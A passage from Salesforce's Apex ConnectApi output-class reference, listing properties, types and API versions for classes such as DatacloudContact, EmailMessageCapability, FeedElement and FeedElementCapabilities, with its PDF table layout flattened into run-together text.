IntegernumberOf
Employees
32.0
The type of ownership of the company:
Stringownership
•Public
•Private
•Government
•Other
32.0
The list of telephone numbers for the company,
including the type. Here are some possible types
of telephone numbers.
ConnectApi.PhoneNumberphoneNumbers
•Mobile
•Work
•Fax
32.0Standard Industrial Codes (SIC) is a numbering
convention that indicates what type of service
a business provides. It’s a four-digit value.
Stringsic
32.0A description of the SIC classification.StringsicDescription
32.0Company’s site. For example, HQ, Single
Location, or Branch.
An organization status of the company.
Stringsite
•Branch: a secondary location to a
headquarter location.
•Headquarter: the parent company has
branches or subsidiaries.
•Single Location: a single business with no
subsidiaries or branches.
32.0The symbol that uniquely identifies companies
that are traded on public stock exchanges.
StringtickerSymbol
32.0A legal name under which a company conducts
business.
StringtradeStyle
1534
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0The date of the most recent change to this
company’s information.
DatetimeupdatedDate
32.0The standard URL for the company’s home page.Stringwebsite
32.0The year when the company was founded.StringyearStarted
ConnectApi.DatacloudCompanies Class
Lists all companies that were purchased in a specific order, page URLs, and the number of companies in the order.
Available
Version
DescriptionTypeProperty Name
32.0A detailed list of companies that were
part of a single order.
ConnectApi.DatacloudCompanycompanies
32.0The URL for the current page of a list of
companies.
StringcurrentPageUrl
32.0Chatter REST API URL identifying the
next page or null if there isn’t a next
StringnextPageUrl
page. Check whether this value is null
before getting another page. If a page
doesn’t exist, a
ConnectApi.NotFoundException
error is returned.
32.0The URL to the previous page of
companies that were viewed before the
StringpreviousPageUrl
current page. If this value is null,
there’s no previous page.
32.0The number of companies in the order.
You can calculate the number of pages
Integertotal
to display by dividing this number by
your page size. The default page size is
25.
ConnectApi.DatacloudContact
Information about a Data.com contact.
All contact information is visible for contacts that you purchased. If you have not purchased a contact, some of the fields will be hidden.
Hidden fields are fully or partially hidden by asterisks “***.”
Available VersionDescriptionTypeProperty Name
32.0The contact’s business address.ConnectApi.Addressaddress
1535
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0A unique numerical identifier for the company where
the contact works. This is the Data.com identifier for
a company.
StringcompanyId
32.0The company name where the contact works.StringcompanyName
32.0A unique numerical identifier for the contact. This is
the Data.com identifier for a contact.
StringcontactId
32.0The department in the company where the contact
works. Here are some possible departments.
Stringdepartment
•Engineering
•IT
•Marketing
•Sales
32.0The most current business email address for the
contact.
Stringemail
32.0The first name of the contact.StringfirstName
32.0Whether this contact is active (true) or not (false).
Inactive contacts have out-of-date information in
Data.com.
BooleanisInactive
32.0Whether this contact is owned (true) or not (false).BooleanisOwned
32.0The last name of the contact.StringlastName
32.0A human resource label that designates a person’s
level in the company. Here are some possible levels.
Stringlevel
•C-Level
•Director
•Manager
•Staff
32.0Telephone numbers for the contact, which can
include direct-dial business telephone numbers,
ConnectApi.PhoneNumberphoneNumbers
mobile telephone numbers, and business
headquarters telephone numbers. The type of
telephone number is also indicated.
32.0The title of the contact, such as CEO or Vice President.Stringtitle
32.0The date of the most recent change to this contact’s
information.
DatetimeupdatedDate
SEE ALSO:
ConnectApi.DatacloudContacts
1536
ConnectApi Output ClassesReference
ConnectApi.DatacloudContacts
Lists all contacts that were purchased in the specific order, page URLs, and the number of contacts in the order.
Available VersionDescriptionTypeProperty Name
32.0A detailed list of purchased contacts.
List<ConnectApi.
DatacloudContact>
contacts
32.0URL to the current page of contacts.StringcurrentPageUrl
32.0Chatter REST API URL identifying the next page or
null if there isn’t a next page. Check whether this
StringnextPageUrl
value is null before getting another page. If a page
doesn’t exist, a
ConnectApi.NotFoundException error is
returned.
32.0URL to the previous page of contacts. This value is
null if there is no previous page.
StringpreviousPageUrl
32.0Number of contacts that are associated with this
order. Can be greater than the number of contacts
that are shown on a single page.
Integertotal
ConnectApi.DatacloudOrder Class
Represents a Datacloud order.
Available VersionDescriptionTypeProperty Name
32.0URL to a list of contacts or companies that were
purchased with this order.
StringentityUrl
32.0Unique number that’s used to track your order
information.
Stringid
32.0Number of contacts or companies that were
purchased for this order.
IntegerpurchaseCount
32.0Purchase date for this order.DatetimepurchaseDate
32.0GET request URL for this order.Stringurl
ConnectApi.DatacloudPurchaseUsage Class
Information about Data.com point usage for monthly and list pool users.
Available VersionDescriptionTypeProperty Name
32.0The points or credits that are available in a
pool of credits for your organization. This
IntegerlistpoolCreditsAvailable
1537
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
pool of credits can be used by any List Pool
User in your organization.
32.0The points or credits that have been used
from a pool of credits that are used by List
Pool Users to purchase records.
IntegerlistpoolCreditsUsed
32.0The total credits that are assigned to a
Monthly User. Unused credits expire at the
end of each month.
IntegermonthlyCreditsAvailable
32.0The credits that are used by a Monthly User
for the current month.
IntegermonthlyCreditsUsed
ConnectApi.DateRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field containing a date.
Available VersionDescriptionTypeName
29.0A date that a machine can read.
Ignore the trailing 00:00:00.000Z characters.
DatetimedateValue
ConnectApi.DigestJob
Represents a successfully enqueued API digest job request.
Available VersionDescriptionTypeProperty Name
37.0Specifies the period of time that is included in a
Chatter email digest. Values are:
ConnectApi.
DigestPeriod
period
•DailyDigest—The email includes up to the
50 latest posts from the previous day.
•WeeklyDigest—The email includes up to
the 50 latest posts from the previous week.
ConnectApi.DirectMessageCapability
If a feed element has this capability, it’s a direct message.
1538
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0Members included in the direct message.ConnectApi.
DirectMessage
MemberPage
members
39.0Subject of the direct message.Stringsubject
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.DirectMessageMemberPage
A collection of direct message members.
Available VersionDescriptionTypeProperty Name
39.0Page token to access the current page of direct
message members.
StringcurrentPageToken
39.0URL to the current page of direct message members.StringcurrentPageUrl
39.0Page token to access the next page of direct message
members.
StringnextPageToken
39.0URL to the next page of direct message members.StringnextPageUrl
39.0Collection of direct message members.List<ConnectApi.
UserSummary>
users
SEE ALSO:
ConnectApi.DirectMessageCapability
ConnectApi.EditCapability
If a feed element or comment has this capability, users who have permission can edit it.
Available VersionDescriptionTypeProperty Name
34.0Specifies whether editing this feed element or
comment is restricted. If true, the context user can’t
BooleanisEditRestricted
edit this feed element or comment. If false, the
context user may or may not have permission to edit
this feed element or comment. To determine if the
context user can edit a feed element or comment,
use the
isFeedElementEditableByMe(communityId,
feedElementId) or
1539
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
isCommentEditableByMe(communityId,
commentId) method.
34.0The URL to check if the context user is able to edit
this feed element or comment.
StringisEditable
ByMeUrl
34.0Who last edited this feed element or comment.ConnectApi.ActorlastEditedBy
34.0The most recent edit date of this feed element or
comment.
DatetimelastEditedDate
34.0The most recent revision of this feed element or
comment.
IntegerlatestRevision
34.0Relative last edited date, for example, “2h ago.”StringrelativeLast
EditedDate
SEE ALSO:
ConnectApi.CommentCapabilities Class
ConnectApi.FeedElementCapabilities Class
ConnectApi.EmailAddress
An email address.
Available VersionDescriptionTypeName
29.0The display name for the email address.StringdisplayName
29.0The email address.StringemailAddress
36.0The summary of a related record, for example, a contact or user
summary.
ConnectApi.
RecordSummary
Class
relatedRecord
SEE ALSO:
ConnectApi.EmailMessageCapability
ConnectApi.EmailAttachment
An email attachment in an email message.
Available VersionDescriptionTypeProperty Name
36.0Record summary of the attachment.ConnectApi.
RecordSummary
attachment
36.0Type of attachment.StringcontentType
1540
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
36.0Name of the attachment.StringfileName
SEE ALSO:
ConnectApi.EmailMessageCapability
ConnectApi.EmailMergeFieldInfo
The map for objects and their merge fields.
Available VersionDescriptionTypeProperty Name
39.0Map for multiple objects and their merge field
collections.
Map<String,
ConnectApi.
EmailMergeField
CollectionInfo>
entityToMerge
FieldsMap
ConnectApi.EmailMergeFieldCollectionInfo
The merge fields for an object.
Available VersionDescriptionTypeProperty Name
39.0List of merge fields for a single object.List<String>mergeFields
SEE ALSO:
ConnectApi.EmailMergeFieldInfo
ConnectApi.EmailMessage Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.EmailMessageCapability is
used.
Subclass of ConnectApi.FeedItemAttachment Class
An email message from a case.
Available
Version
DescriptionTypeName
29.0–31.0The direction of the email message.ConnectApi.Email
MessageDirection
Enum
direction
•Inbound—An inbound message (sent by a customer).
•Outbound—An outbound message (sent to a customer
by a support agent).
29.0–31.0The ID of the email message.StringemailMessageId
1541
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
29.0–31.0The subject of the email message.Stringsubject
29.0–31.0The body of the email message.StringtextBody
29.0–31.0A list of email addresses to send the message to.List<ConnectApi.EmailAddress>toAddresses
ConnectApi.EmailMessageCapability
If a feed element has this capability, it has an email message from a case.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
36.0The attachments in the email message.List<ConnectApi.
EmailAttachment>
attachments
36.0The BCC addresses for the email message.List<ConnectApi.
EmailAddress>
bccAddresses
36.0The body of the email message.Stringbody
36.0The CC addresses for the email message.List<ConnectApi.
EmailAddress>
ccAddresses
32.0The direction of the email message. Values are:ConnectApi.
EmailMessageDirection
direction
•Inbound—An inbound message (sent by a
customer).
•Outbound—An outbound message (sent to a
customer by a support agent).
32.0The ID of the email message.StringemailMessageId
36.0The From address for the email message.ConnectApi.
EmailAddress
fromAddress
36.0Indicates whether the body of the email message is
in rich text format.
BooleanisRichText
32.0The subject of the email message.Stringsubject
32.0–35.0The body of the email message.StringtextBody
Important: In version 36.0 and later, use the
body property.
32.0The To addresses of the email message.List<ConnectApi.
EmailAddress>
toAddresses
1542
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
38.0The total number of attachments in the email
message.
IntegertotalAttachments
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.Emoji
An emoji.
Available VersionDescriptionTypeProperty Name
39.0Emoji category.Stringcategory
39.0Emoji shortcut.Stringshortcut
39.0Emoji’s unicode character.StringunicodeCharacter
SEE ALSO:
ConnectApi.EmojiCollection
ConnectApi.EmojiCollection
A collection of emojis.
Available VersionDescriptionTypeProperty Name
39.0A collection of emojis.List<ConnectApi.
Emoji>
emojis
SEE ALSO:
ConnectApi.SupportedEmojis
ConnectApi.EnhancedLinkCapability
If a feed element has this capability, it has a link that may contain supplemental information like an icon, a title, and a description.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0A description with a 500 character limit.Stringdescription
32.0A icon.ConnectApi.Iconicon
32.0A ID associated with the link if the link URL refers to
a Salesforce record.
StringlinkRecordId
1543
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0A link URL to a detail page if available content can’t
display inline.
StringlinkUrl
32.0A title to a detail page.Stringtitle
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.EntityLinkSegment Class
Subclass of ConnectApi.MessageSegment Class
Available
Version
DescriptionTypeName
28.0A set of small, medium, and large icons that indicate whether
the entity is a file, group, record, or user. The motif can also
contain the object’s base color.
ConnectApi.Motif
Class
motif
28.0A reference to the link object if applicable, otherwise, null.ConnectApi.
Reference
reference
ConnectApi.EntityRecommendation Class
Represents a recommendation, including file, group, record, topic, user, and custom recommendations.
Subclass of ConnectApi.AbstractRecommendation Class.
Available VersionDescriptionTypeProperty Name
32.0For user, file, group, topic, and record entity
types, use this Chatter REST URL with a POST request
to take action on the recommendation.
For ConnectApi.RecommendedObject
entity types, such as custom recommendations,
StringactOnUrl
use the actionUrl property of the
ConnectApi.PlatformAction Class to take action on
the recommendation.
32.0Specifies the action to take on a recommendation.ConnectApi.
Recommendation
ActionType
action
•follow—Follow a file, record, topic, or user.
•join—Join a group.
•view—View a file, group, article, record, user,
custom, or static recommendation.
1544
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0The entity with which the receiver is recommended
to take action.
ConnectApi.Actorentity
ConnectApi.ExternalFilePermissionInformation
External file permission information.
Available VersionDescriptionTypeProperty Name
39.0Available permission types for the parent folder of
the external file, or null for non-external files or
List<ConnectApi.
ContentHub
PermissionType>
external
FilePermission
Types when
includeExternalFilePermissionsInfo
is false.
39.0true if the retrieval of external file information failed
or if
Booleanexternal
FilePermissions
Failure includeExternalFilePermissionsInfo
is false; false otherwise.
39.0Explanation of the failure if a failure occurred and
includeExternalFilePermissionsInfo
is true; null otherwise.
Stringexternal
FilePermissions
InfoFailureReason
39.0Specifies the sharing status for the external file. Values
are:
ConnectApi.
ContentHub
ExternalItem
SharingType
external
FileSharing
Status •DomainSharing—File is shared with the
domain.
•PrivateSharing—File is private or shared
only with individuals.
•PublicSharing—File is publicly shared.
Value is null for non-external files or when
includeExternalFilePermissionsInfo
is false.
39.0Available public groups in the external repository or
null for non-external files or when
List<ConnectApi.
RepositoryGroupSummary>
repository
PublicGroups
includeExternalFilePermissionsInfo
is false.
SEE ALSO:
ConnectApi.AbstractRepositoryFile
1545
ConnectApi Output ClassesReference
ConnectApi.Features Class
Available
Version
DescriptionTypeProperty
37.0Reserved for future use.BooleanactivityReminder
NotificationsEnabled
28.0Indicates whether Chatter is enabled for an organizationBooleanchatter
28.0Indicates whether the user details include information about Chatter
activity
BooleanchatterActivity
29.0Indicates whether Chatter Answers is enabledBooleanchatterAnswers
28.0Indicates whether the user details include global Chatter activityBooleanchatter
GlobalInfluence
30.0Specifies whether Chatter groups can have records associated with themBooleanchatterGroup
Records
30.0Specifies whether Chatter records are implicitly shared among group
members when records are added to groups
BooleanchatterGroup
RecordSharing
28.0Indicates whether Chatter messages are enabled for the organizationBooleanchatter
Messages
28.0Indicates whether Chatter topics are enabledBooleanchatterTopics
31.0Indicates whether Salesforce Communities is enabled.Booleancommunities
Enabled
29.0Specifies whether community moderation is enabled.Booleancommunity
Moderation
32.0Specifies whether reputation is enabled for communities in the
organization.
Booleancommunity
Reputation
28.0Indicates whether the user can post dashboard component snapshotsBooleandashboard
Component
Snapshots
28.0The ISO code of the default currency. Applicable only when
multiCurrency is false.
Stringdefault
Currency
IsoCode
28.0Reserved for future use.BooleanfeedPolling
39.0Indicates whether Chatter feed streams are enabled for the org.BooleanfeedStream
Enabled
28.0Indicates whether files can act as resources for Chatter APIBooleanfiles
28.0Indicates whether files can be attached to commentsBooleanfilesOnComments
28.0–29.0Reserved for future useBooleangroupsCanFollow
1546
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeProperty
29.0Indicates whether Ideas is enabledBooleanideas
32.0Indicates access to the community home feed and the managed topic
feed.
BooleanmanagedTopics
Enabled
39.0Specifies the maximum number of feed-enabled entities that can be
subscribed to in a Chatter stream.
IntegermaxEntity
Subscriptions
PerStream
36.0Specifies the maximum number of files that can be added to a feed item.IntegermaxFiles
PerFeedItem
39.0Specifies the maximum number of Chatter streams that a user can have.IntegermaxStreams
PerPerson
29.0Reserved for future useBooleanmobile
Notifications
Enabled
28.0Indicates whether the user’s organization uses multiple currencies (true)
or not (false). When false, the defaultCurrencyIsoCode
indicates the ISO code of the default currency.
BooleanmultiCurrency
37.0Specifies whether the offline object permissions are enabled for
Salesforce1 downloadable app mobile clients.
BooleanofflineEditEnabled
28.0Indicates whether actions in the publisher are enabledBooleanpublisherActions
30.0Indicates whether the Salesforce1 downloadable apps can use secure,
persistent storage on mobile devices to cache data.
BooleanstoreData
OnDevices
Enabled
28.0Reserved for future useBooleanthanksAllowed
28.0Indicates whether trending topics are enabledBooleantrendingTopics
28.0Indicates whether existing Chatter users can invite people in their
company to use Chatter
BooleanviralInvites
Allowed
36.0Indicates whether Wave is enabledBooleanwave
SEE ALSO:
getSettings()
ConnectApi.OrganizationSettings Class
1547
ConnectApi Output ClassesReference
ConnectApi.Feed Class
Available
Version
DescriptionTypeName
31.0Chatter REST API URL for posting feed elements to this subject.StringfeedElementPostUrl
31.0Chatter REST API URL of feed elements.StringfeedElementsUrl
28.0–31.0Chatter REST API URL of feed items.StringfeedItemsUrl
28.0A Chatter REST API URL with a since request parameter that contains
an opaque token that describes when the feed was last modified. Returns
StringisModifedUrl
null if the feed isn’t a news feed. Use this URL to poll a news feed for
updates.
Important: This feature is available through a Feed Polling pilot
program. This pilot program is closed and not accepting new
participants.
35.0Indicates whether the feed respects the mute feature. If true, the feed
shows the ability to mute or unmute each element, depending on the
BooleanrespectsMute
value of isMutedByMe; null if the mute feature is disabled for the
organization.
ConnectApi.FeedBody Class
Subclass of ConnectApi.AbstractMessageBody Class
No additional properties.
SEE ALSO:
ConnectApi.Comment Class
ConnectApi.FeedElement Class
ConnectApi.FeedEntitySummary
ConnectApi.FeedDirectory Class
A directory of feeds and favorites.
Available
Version
DescriptionTypeName
30.0A list of feed favoritesList<ConnectApi.Feed
Favorite>
favorites
30.0A list of feedsList<ConnectApi.FeedDirectoryItem>feeds
1548
ConnectApi Output ClassesReference
ConnectApi.FeedDirectoryItem Class
The definition of a feed.
Available
Version
DescriptionTypeName
Chatter REST API resource URL for the feed elements.StringfeedElementsUrl
30.0–31.0Chatter REST API resource URL for the feed items of a specific feed.StringfeedItemsUrl
30.0The feed type. One of these values:ConnectApi
.FeedType
Enum
feedType
•Bookmarks—Contains all feed items saved as bookmarks by the
context user.
•Company—Contains all feed items except feed items of type
TrackedChange. To see the feed item, the user must have sharing
access to its parent.
•DirectMessages—Contains all feed items of the context user’s
direct messages.
•Files—Contains all feed items that contain files posted by people
or groups that the context user follows.
•Filter—Contains the news feed filtered to contain feed items
whose parent is a specified object type.
•Groups—Contains all feed items from all groups the context user
either owns or is a member of.
•Home—Contains all feed items associated with any managed topic
in a community.
•Moderation—Contains all feed items that have been flagged for
moderation. The Communities Moderation feed is available only to
users with “Moderate Community Feeds” permissions.
•Mute—Contains all feed items that the context user muted.
•News—Contains all updates for people the context user follows,
groups the user is a member of, and files and records the user is
following. Also contains all updates for records whose parent is the
context user and every feed item and comment that mentions the
context user or that mentions a group the context user is a member
of.
•PendingReview—Contains all feed items and comments that
are pending review.
•People—Contains all feed items posted by all people the context
user follows.
•Record—Contains all feed items whose parent is a specified record,
which could be a group, user, object, file, or any other standard or
custom object. When the record is a group, the feed also contains
feed items that mention the group. When the record is a user, the
feed contains only feed items on that user. You can get another user’s
record feed.
1549
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
•Streams—Contains all feed items for any combination of up to
25 feed-enabled entities, such as people, groups, and records, that
the context user subscribes to in a stream.
•To—Contains all feed items with mentions of the context user, feed
items the context user commented on, and feed items created by
the context user that are commented on.
•Topics—Contains all feed items that include the specified topic.
•UserProfile—Contains feed items created when a user changes
records that can be tracked in a feed, feed items whose parent is the
user, and feed items that @mention the user. This feed is different
than the news feed, which returns more feed items, including group
updates. You can get another user’s user profile feed.
30.0Chatter REST API resource URL for a specific feedStringfeedUrl
30.0A key prefix is the first three characters of a record ID, which specifies the
entity type.
For filter feeds, this value is the key prefix associated with the entity type
used to filter this feed. All feed items in this feed have a parent whose
StringkeyPrefix
entity type matches this key prefix value. For non-filter feeds, this value
is null.
30.0Localized label of the feedStringlabel
SEE ALSO:
ConnectApi.FeedDirectory Class
ConnectApi.FeedElement Class
Feed elements are the top-level items that a feed contains. Feeds are feed element containers.
This class is abstract.
Superclass of:
•ConnectApi.FeedItem Class
•ConnectApi.GenericFeedElement Class
Available VersionDescriptionTypeProperty Name
22.0Information about the feed element.ConnectApi.
FeedBody
body
Important: Use the header.text
property as the default value for rendering
text because the body.text property can
be null.
1550
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
31.0A container for all capabilities that can be included
with a feed element.
ConnectApi.
FeedElement
Capabilities
Class
capabilities
31.0An ISO 8601 format date string, for example,
2011-02-25T18:24:31.000Z.
DatetimecreatedDate
31.0Feed elements are the top-level objects that a feed
contains. The feed element type describes the
ConnectApi.
FeedElementType
feedElementType
characteristics of that feed element. One of these
values:
•Bundle—A container of feed elements. A
bundle also has a body made up of message
segments that can always be gracefully degraded
to text-only values.
•FeedItem—A feed item has a single parent
and is scoped to one community or across all
communities. A feed item can have capabilities
such as bookmarks, canvas, content, comment,
link, poll. Feed items have a body made up of
message segments that can always be gracefully
degraded to text-only values.
•Recommendation—A recommendation is a
feed element with a recommendations capability.
A recommendation suggests records to follow,
groups to join, or applications that are helpful to
the context user.
31.0The header is the title of the post. This property
contains renderable plain text for all the segments
ConnectApi.
MessageBody
header
of the message. If a client doesn’t know how to
render a feed element type, it should render this text.
22.018-character ID of the feed element.Stringid
31.0An ISO 8601 format date string, for example,
2011-02-25T18:24:31.000Z.
DatetimemodifiedDate
28.0Feed element’s parentConnectApi.
ActorWithId
parent
31.0The created date formatted as a relative, localized
string, for example, “17m ago” or “Yesterday.”
DatetimerelativeCreated
Date
1551
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
22.0Chatter REST API URL to this feed element.Stringurl
SEE ALSO:
ConnectApi.Announcement
ConnectApi.FeedElementPage Class
ConnectApi.QuestionAndAnswersSuggestions Class
ConnectApi.FeedElementCapabilities Class
A container for all capabilities that can be included with a feed element.
Available VersionDescriptionTypeProperty Name
32.0If a feed element has this capability, it includes
information about an approval.
ConnectApi.
ApprovalCapability
Class
approval
33.0If a feed element has this capability, it has platform
actions associated with it.
ConnectApi.
AssociatedActions
Capability
associated
Actions
31.0If a feed element has this capability, it has a banner
motif and style.
ConnectApi.
BannerCapability
Class
banner
31.0If a feed element has this capability, the context user
can bookmark it.
ConnectApi.
Bookmarks
Capability Class
bookmarks
31.0If a feed element has this capability, it has a container
of feed elements called a bundle.
ConnectApi.
BundleCapability
Class
bundle
32.0If a feed element has this capability, it renders a
canvas app.
ConnectApi.Canvas
Capability Class
canvas
32.0If a feed element has this capability, it has a case
comment on the case feed.
ConnectApi.Case
CommentCapability
Class
caseComment
31.0If a feed element has this capability, the context user
can like it. Exposes information about existing likes.
ConnectApi.
ChatterLikes
Capability Class
chatterLikes
31.0If a feed element has this capability, the context user
can add a comment to it.
ConnectApi.
CommentsCapability
Class
comments
1552
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0–35.0If a comment has this capability, it has a file
attachment.
Most ConnectApi.ContentCapability
properties are null if the content has been deleted
ConnectApi.
ContentCapability
content
from the feed element or if the access has changed
to private.
Important: In version 36.0 and later, use the
files property.
32.0If a feed element has this capability, it has a
dashboard component snapshot. A snapshot is a
ConnectApi.
DashboardComponent
SnapshotCapability
dashboardComponent
Snapshot
static image of a dashboard component at a specific
point in time.
39.0If a feed element has this capability, it’s a direct
message.
ConnectApi.
DirectMessage
Capability
directMessage
34.0If a feed element has this capability, users who have
permission can edit it.
ConnectApi.
EditCapability
edit
32.0If a feed element has this capability, it has an email
message from a case.
ConnectApi.
EmailMessage
Capability
emailMessage
32.0If a feed element has this capability, it has a link that
may contain supplemental information like an icon,
a title, and a description.
ConnectApi.
EnhancedLink
Capability
enhancedLink
39.0If a feed element has this capability, a feed entity is
shared with it.
ConnectApi.
FeedEntity
ShareCapability
feedEntityShare
36.0If a feed element has this capability, it has one or
more file attachments.
ConnectApi.
FilesCapability
files
37.0If a feed element has this capability, it has information
about user interactions.
ConnectApi.
Interactions
Capability
interactions
32.0If a feed element has this capability, it has a link.ConnectApi.
LinkCapability
link
31.0If a feed element has this capability, users in a
community can flag it for moderation.
ConnectApi.
Moderation
Capability Class
moderation
35.0If a feed element has this capability, users can mute
it.
ConnectApi.
MuteCapability
mute
1553
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
33.0If a feed element has this capability, it was created
by a feed action.
ConnectApi.
OriginCapability
origin
31.0If a feed element has this capability, it includes a poll.ConnectApi.
PollCapability
Class
poll
31.0If a feed element has this capability, it has a question
and comments on the feed element are answers to
the question.
ConnectApi.
QuestionAndAnswers
Capability Class
questionAndAnswers
32.0If a feed element has this capability, it has a
recommendation.
ConnectApi.
Recommendations
Capability
recommendations
32.0If a feed element has this capability, it contains all the
snapshotted fields of a record for a single create
record event.
ConnectApi.
RecordSnapshot
Capability
recordSnaphot
36.0If a feed element has this capability, it can interact
with a social post on a social network.
ConnectApi.
SocialPostCapability
socialPost
37.0If a feed post or comment has this capability, it has
a status that determines its visibility.
ConnectApi.
StatusCapability
status
31.0If a feed element has this capability, the context user
can add topics to it. Topics help users organize and
discover conversations.
ConnectApi.
TopicsCapability
Class
topics
32.0If a feed element has this capability, it contains all
changes to a record for a single tracked change event.
ConnectApi.
TrackedChanges
Capability
trackedChanges
SEE ALSO:
ConnectApi.FeedElement Class
ConnectApi.FeedItemSummary
ConnectApi.FeedElementCapability Class
A feed element capability, which defines the characteristics of a feed element.
In API version 30.0 and earlier, most feed items can have comments, likes, topics, and so on. In version 31.0 and later, every feed item
(and feed element) can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even
if the capability property doesn’t have a value. For example, if the ChatterLikes capability property exists on a feed element (with
or without a value), the context user can like that feed element. If the capability property doesn’t exist, it isn’t possible to like that feed
element. A capability can also contain associated data. For example, the Moderation capability contains data about moderation
flags.
This class is abstract.
This class is a superclass of:
1554
ConnectApi Output ClassesReference
•ConnectApi.AssociatedActionsCapability Class
•ConnectApi.ApprovalCapability Class
•ConnectApi.BannerCapability Class
•ConnectApi.BookmarksCapability Class
•ConnectApi.BundleCapability Class
•ConnectApi.CanvasCapability Class
•ConnectApi.CaseCommentCapability Class
•ConnectApi.ChatterLikesCapability Class
•ConnectApi.CommentsCapability Class
•ConnectApi.ContentCapability
•ConnectApi.DashboardComponentSnapshotCapability
•ConnectApi.DirectMessageCapability
•ConnectApi.EmailMessageCapability
•ConnectApi.EnhancedLinkCapability
•ConnectApi.FeedEntityShareCapability
•ConnectApi.FilesCapability
•ConnectApi.InteractionsCapability
•ConnectApi.LinkCapability
•ConnectApi.ModerationCapability Class
•ConnectApi.MuteCapability
•ConnectApi.OriginCapability
•ConnectApi.PollCapability Class
•ConnectApi.QuestionAndAnswersCapability Class
•ConnectApi.RecommendationsCapability
•ConnectApi.RecordSnapshotCapability
•ConnectApi.SocialPostCapability
•ConnectApi.StatusCapability
•ConnectApi.TopicsCapability Class
•ConnectApi.TrackedChangesCapability
This class doesn’t have any properties.
ConnectApi.FeedElementPage Class
A paged collection of ConnectApi.FeedElement objects.
Available VersionDescriptionTypeProperty Name
31.0Token identifying the current page.StringcurrentPageToken
31.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
1555
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
31.0Collection of feed elements.List<ConnectApi.
FeedElement
Class>
elements
31.0An opaque polling token to use in the since
parameter of the ChatterFeeds.isModified
StringisModifiedToken
method. The token describes when the feed was last
modified.
Important: This feature is available through
a Feed Polling pilot program. This pilot
program is closed and not accepting new
participants.
31.0A Chatter REST API URL with a since request
parameter that contains an opaque token that
StringisModifiedUrl
describes when the feed was last modified. Returns
null if the feed isn’t a news feed. Use this URL to
poll a news feed for updates.
Important: This feature is available through
a Feed Polling pilot program. This pilot
program is closed and not accepting new
participants.
31.0Token identifying the next page or null if there is
no next page.
StringnextPageToken
31.0Chatter REST API URL identifying the next page or
null if there isn’t a next page. Check whether this
StringnextPageUrl
value is null before getting another page. If a page
doesn’t exist, a
ConnectApi.NotFoundException error is
returned.
31.0A token to use in a request to the
ConnectApi.ChatterFeeds.getFeedElementsUpdatedSince
method.
StringupdatesToken
31.0A Chatter REST API feed resource containing the feed
elements that have been updated since the feed was
StringupdatesUrl
refreshed. If the feed doesn’t support this feature, the
value is null.
SEE ALSO:
ConnectApi.BundleCapability Class
1556
ConnectApi Output ClassesReference
ConnectApi.FeedEnabledEntity
An entity that can have feeds associated with it.
Available VersionDescriptionTypeProperty Name
39.0The 18-character ID of the record.Stringid
39.0Small, medium, and large icons indicating the
record's type.
ConnectApi.Motifmotif
39.0The localized name of the record.Stringname
39.0The type of the record.Stringtype
39.0URL to the record.Stringurl
SEE ALSO:
ConnectApi.ChatterStream
ConnectApi.FeedEntityIsEditable
Indicates if the context user can edit a feed element or comment.
Available VersionDescriptionTypeProperty Name
36.0true if the context user can add and remove
attachments on the feed element or comment,
false otherwise.
BooleanareAttachments
EditableByMe
34.0URL of the feed element or comment.StringfeedEntityUrl
34.0true if the context user can edit the feed element
or comment, false otherwise.
BooleanisEditableByMe
ConnectApi.FeedEntityNotAvailableSummary
A summary when the feed entity isn’t available.
This output class is a subclass of ConnectApi.FeedEntitySummary and has no properties.
ConnectApi.FeedEntityShareCapability
If a feed element has this capability, a feed entity is shared with it.
Subclass of ConnectApi.FeedElementCapability Class.
1557
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0The summary of the feed entity that is shared with
the feed element.
ConnectApi.
FeedEntity
Summary
feedEntity
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.FeedEntitySummary
The summary of a feed entity that is shared with a feed element.
This class is abstract.
Superclass of:
•ConnectApi.FeedItemSummary
•ConnectApi.FeedEntityNotAvailableSummary
Available VersionDescriptionTypeProperty Name
39.0Entity that created the feed entity.ConnectApi.Actoractor
39.0Information about the feed entity.ConnectApi.
FeedBody
body
39.0ISO8601 date string, for example,
2011-02-25T18:24:31.000Z, when the entity was
created.
DatetimecreatedDate
39.0Type of feed entity.ConnectApi.
FeedElementType
feedElementType
•Bundle—A container of feed elements. A
bundle also has a body made up of message
segments that can always be gracefully degraded
to text-only values.
•FeedItem—A feed item has a single parent
and is scoped to one community or across all
communities. A feed item can have capabilities
such as bookmarks, canvas, content, comment,
link, poll. Feed items have a body made up of
message segments that can always be gracefully
degraded to text-only values.
•Recommendation—A recommendation is a
feed element with a recommendations capability.
A recommendation suggests records to follow,
groups to join, or applications that are helpful to
the context user.
39.018-character ID of the feed entity.Stringid
1558
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0Specifies whether the entity is available. If false,
